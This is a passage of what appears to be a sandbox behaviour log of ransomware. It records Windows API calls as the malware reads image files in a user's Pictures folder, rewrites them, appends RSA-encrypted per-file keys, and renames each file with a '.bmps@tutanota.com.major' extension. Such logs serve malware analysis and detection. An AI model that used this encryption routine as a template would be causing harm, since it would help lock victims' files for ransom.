hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.257] CloseHandle (hObject=0x600) returned 1 [0148.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.257] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\npGXzodWp02NsTr.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\npgxzodwp02nstr.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\npGXzodWp02NsTr.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\npgxzodwp02nstr.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0148.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631350 | out: hHeap=0x570000) returned 1 [0148.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6312e8 | out: hHeap=0x570000) returned 1 [0148.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6312e8 [0148.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.280] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.281] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\lQfq5RF5oD CIf42xlmq.png", dwFileAttributes=0x80) returned 1 [0148.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631420 [0148.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0148.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631420 | out: hHeap=0x570000) returned 1 [0148.283] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\lQfq5RF5oD CIf42xlmq.png" (normalized: "c:\\users\\fd1hvy\\pictures\\lqfq5rf5od cif42xlmq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.283] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=20576) returned 1 [0148.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5060) returned 0x631898 [0148.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5060) returned 0x636900 [0148.283] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x5060, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x5060, lpOverlapped=0x0) returned 1 [0148.284] SetFilePointer (in: hFile=0x600, lDistanceToMove=-20576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.284] WriteFile (in: hFile=0x600, lpBuffer=0x636900*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x636900*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5060, lpOverlapped=0x0) returned 1 [0148.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x636900 | out: hHeap=0x570000) returned 1 [0148.285] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5060 [0148.285] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.285] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.285] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.285] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.286] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.286] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="NjcDu+OBl1g0HvspkKoaftq4R5qEPCKvVwf+m7vEwQ1UQoJUR9CszHZob934759X\nuOkct2pdujvse8f2jW1Cl1wk+lfBDg6HfWAExGO/y6CxEevQZxloBYBpz0sf9QiE\nhS2HaM1BLsyLIQupe4qYzbn037xG/6T+3HILyWJXsVaxaY3wU8TWgnKFrOZ7U/+5\n8SorO48+ERP3De7VcRztouY5W+aEINik1lqvXYiTwt8k8VR2VCaSNUHLrymzYKiT\nUAJDlghfZvgdGqRYkPAo5TDPIB7kSR2B27S/t90tsCeHszOEnU+p4E/Ug7li/8q1\ntcYog8UDh+hZpXUbX6Y9rQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.286] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.286] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.286] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.286] CloseHandle (hObject=0x600) returned 1 [0148.286] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.286] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\lQfq5RF5oD CIf42xlmq.png" (normalized: "c:\\users\\fd1hvy\\pictures\\lqfq5rf5od cif42xlmq.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\lQfq5RF5oD CIf42xlmq.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\lqfq5rf5od cif42xlmq.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0148.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6312e8 | out: hHeap=0x570000) returned 1 [0148.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631280 | out: hHeap=0x570000) returned 1 [0148.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0148.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0148.288] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.288] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\LhOW8Pwt.png", dwFileAttributes=0x80) returned 1 [0148.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0148.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0148.289] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\LhOW8Pwt.png" (normalized: "c:\\users\\fd1hvy\\pictures\\lhow8pwt.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.289] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3044) returned 1 [0148.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbe4) returned 0x631898 [0148.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbe4) returned 0x632488 [0148.289] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xbe4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xbe4, lpOverlapped=0x0) returned 1 [0148.290] SetFilePointer (in: hFile=0x600, lDistanceToMove=-3044, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.290] WriteFile (in: hFile=0x600, lpBuffer=0x632488*, nNumberOfBytesToWrite=0xbe4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x632488*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbe4, lpOverlapped=0x0) returned 1 [0148.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x632488 | out: hHeap=0x570000) returned 1 [0148.290] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbe4 [0148.290] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.290] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.290] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.291] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.291] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.291] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="eMvwsbJmFStbtrViATgVnLqW5ZJupfv1VEIiUU7w9lK1dCdlFWMo5t+Gl/uaHiAJ\n4JF3TY3nl5ehOfCaba6agT8Cf71CMdFQuI5SyxKuJ6ln9AtN6GOEWfRhYd5kCWdc\nLfOuzwoT/N4uI9YfmdPW83Y5w+ijukSFos49UbcrJEjcwCu5rX3ft+WaAkEgUZSl\nQbRGO5YSsQ7J/2fAzvUb5yJVBQH4y+DXQJuYqe//EuFqYL9aLDWmzdoiD1ZttQGD\nWGSz5yIkKYZ5WQp6bpM0pWE5p16ITFI9goV68UsKzxoXME1u7AwCmlMs8HZ/07Kt\nxpFUEhfatozLTgLyIJOJZw==\n", pcchString=0x2e3f9a8) returned 1 [0148.291] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.291] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.291] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.291] CloseHandle (hObject=0x600) returned 1 [0148.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.292] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\LhOW8Pwt.png" (normalized: "c:\\users\\fd1hvy\\pictures\\lhow8pwt.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\LhOW8Pwt.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\lhow8pwt.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0148.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0148.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9a0 | out: hHeap=0x570000) returned 1 [0148.697] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec60 [0148.697] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.697] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.697] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\kqXlzd8LIoC2.bmp", dwFileAttributes=0x80) returned 1 [0148.697] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0148.697] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0148.697] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\kqXlzd8LIoC2.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kqxlzd8lioc2.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.697] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6186) returned 1 [0148.697] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x182a) returned 0x631898 [0148.697] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x182a) returned 0x6330d0 [0148.697] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x182a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x182a, lpOverlapped=0x0) returned 1 [0148.698] SetFilePointer (in: hFile=0x600, lDistanceToMove=-6186, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.698] WriteFile (in: hFile=0x600, lpBuffer=0x6330d0*, nNumberOfBytesToWrite=0x182a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6330d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x182a, lpOverlapped=0x0) returned 1 [0148.699] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.699] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6330d0 | out: hHeap=0x570000) returned 1 [0148.699] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x182a [0148.699] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.699] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.699] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.699] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.699] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.699] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.699] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="NPcd2HcHOMwflUTWU9EoyJQS0/BsSHhWIxIx4+PZ8j7VEpsRSMIMlkrxpJiyTwcl\ncus3/DbF6U0rYdJmMN9N1Uay9F5NjwJlp+CyhUQ0E283GGfpPOJWvN0TL3QdzyBJ\nST+q5PWb4BHkXWMZHGQev46SEP7i6CQD/nnyPLBfd8aUpCR8tznqAJnuVQ30mMsw\nW4TRhCYXnEOMKVa7d2fxlGQfVxNsTbh2EWWfAnnYGnHHHeAjcIOMf2kAk/fdo6x2\nscQjpgwGS2fCOAkiWCjDqaS3ilBW1XZEKxPcxh3l30EIxbQt2wA65q6w44goCq7Q\nNS+HthGiaRxqr78SSpw4lw==\n", pcchString=0x2e3f9a8) returned 1 [0148.699] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.699] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.699] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.699] CloseHandle (hObject=0x600) returned 1 [0148.700] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.700] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\kqXlzd8LIoC2.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kqxlzd8lioc2.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\kqXlzd8LIoC2.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\kqxlzd8lioc2.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.701] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.701] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.701] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec60 | out: hHeap=0x570000) returned 1 [0148.701] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0148.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630ed8 [0148.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.701] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.701] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\KP0u84bse5bC4ojl.bmp", dwFileAttributes=0x80) returned 1 [0148.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630da0 [0148.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0148.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630da0 | out: hHeap=0x570000) returned 1 [0148.702] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\KP0u84bse5bC4ojl.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kp0u84bse5bc4ojl.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.702] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=63774) returned 1 [0148.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf91e) returned 0x631898 [0148.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf91e) returned 0x6411c0 [0148.702] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xf91e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xf91e, lpOverlapped=0x0) returned 1 [0148.703] SetFilePointer (in: hFile=0x600, lDistanceToMove=-63774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.703] WriteFile (in: hFile=0x600, lpBuffer=0x6411c0*, nNumberOfBytesToWrite=0xf91e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6411c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf91e, lpOverlapped=0x0) returned 1 [0148.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6411c0 | out: hHeap=0x570000) returned 1 [0148.704] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf91e [0148.704] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.704] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.704] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.704] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="jiEh9DxeoEnfSiZ63BUo7eqZeDK9pZm1TfZXG8uZmnhD1a24hOX9PloAhQxk4hsl\n60XmA4KXKZBoodxReLpIlJGB2QjV3oVllH7K76bO88fIORoECgyV4nOF61G0Tt0F\nZSmQkkc1sKsdD/eF+jUUiAnrKUvZz7G3j0524Q7r5v2duXIv0ZhicmWgAj+OeIoZ\nXb9Q1ixb1yzBdvtqT8BYHoWfBk76a53OFG31oGbc7nGFAYR1pnvjc0plDjFl1lV6\ntLjY857bO9WMUm8RV2hx+g+JKFxG8MIslV5OsXjINfKsPxK72WNLn6A7jvwLHALB\nDsWDiNjqPP0r1S7N4KJloQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.705] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.705] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.705] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.705] CloseHandle (hObject=0x600) returned 1 [0148.705] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.705] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\KP0u84bse5bC4ojl.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kp0u84bse5bc4ojl.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\KP0u84bse5bC4ojl.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\kp0u84bse5bc4ojl.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0148.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630ed8 | out: hHeap=0x570000) returned 1 [0148.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0148.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be6e0 [0148.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0148.707] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.707] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\IE7O79Tg8zUu.gif", dwFileAttributes=0x80) returned 1 [0148.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be580 [0148.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.707] HeapFree 